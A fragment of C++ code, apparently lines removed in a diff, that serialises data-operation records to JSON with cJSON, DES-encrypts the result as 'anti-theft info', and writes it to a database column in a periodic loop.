- cJSON_AddBoolToObject(pAryItem, "ExecStatus", it->bExecStatus); // 执行状态;
- cJSON_AddItemToArray(pSQLArry, pAryItem);
- }
- pSQLArry = cJSON_CreateArray();
- cJSON_AddItemToObject(pJson, "Data-Ary",pSQLArry);
- pAryItem = NULL;
- for ( vector<DATAOpt>::iterator it = stDetail.vtDataOpt.begin(); it != stDetail.vtDataOpt.end(); it++ )
- {
- DATAOpt opt = *it;
- pAryItem = cJSON_CreateObject();
- cJSON_AddNumberToObject(pAryItem, "Type", it->nType); // 未选, 未取;
- cJSON_AddStringToObject(pAryItem, "ExecTime", it->strExecTime);
- cJSON_AddNumberToObject(pAryItem, "Count", it->nCount);
- cJSON_AddBoolToObject(pAryItem, "ExecStatus", it->bExecStatus); // 执行状态;
- cJSON_AddItemToArray(pSQLArry, pAryItem);
- cJSON *pAryOrder = cJSON_CreateArray();
- cJSON_AddItemToObject(pAryItem, "Order-Ary",pAryOrder);
- for (STR_VEC::iterator it_order = it->vtOrders.begin(); it_order != it->vtOrders.end(); it_order++ )
- {
- pAryItem = cJSON_CreateObject();
- cJSON_AddStringToObject(pAryItem, "order", it_order->c_str());
- cJSON_AddItemToArray(pAryOrder, pAryItem);
- }
- }
- char *out = cJSON_Print(pJson);
- #ifdef _DEBUG
- WriteTextLog(_T("Json:%s"), out);
- #endif
- g_strAntiTheftInfo = out;
- delete []out;
- cJSON_Delete(pJson);
- des_crypt(g_strAntiTheftInfo, g_strAntiTheftInfo, DES_ENCRYPT);
- strSQL.Format(_T("update version set reverse5 = '%s'"), g_strAntiTheftInfo);
- try
- {
- pMaindb->ExecuteSQL(strSQL);
- }
- catch (CDBException* e)
- {
- #ifdef _DEBUG
- WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
- #endif
- }
- Sleep(1000);
- }
- return 0L;
- }
|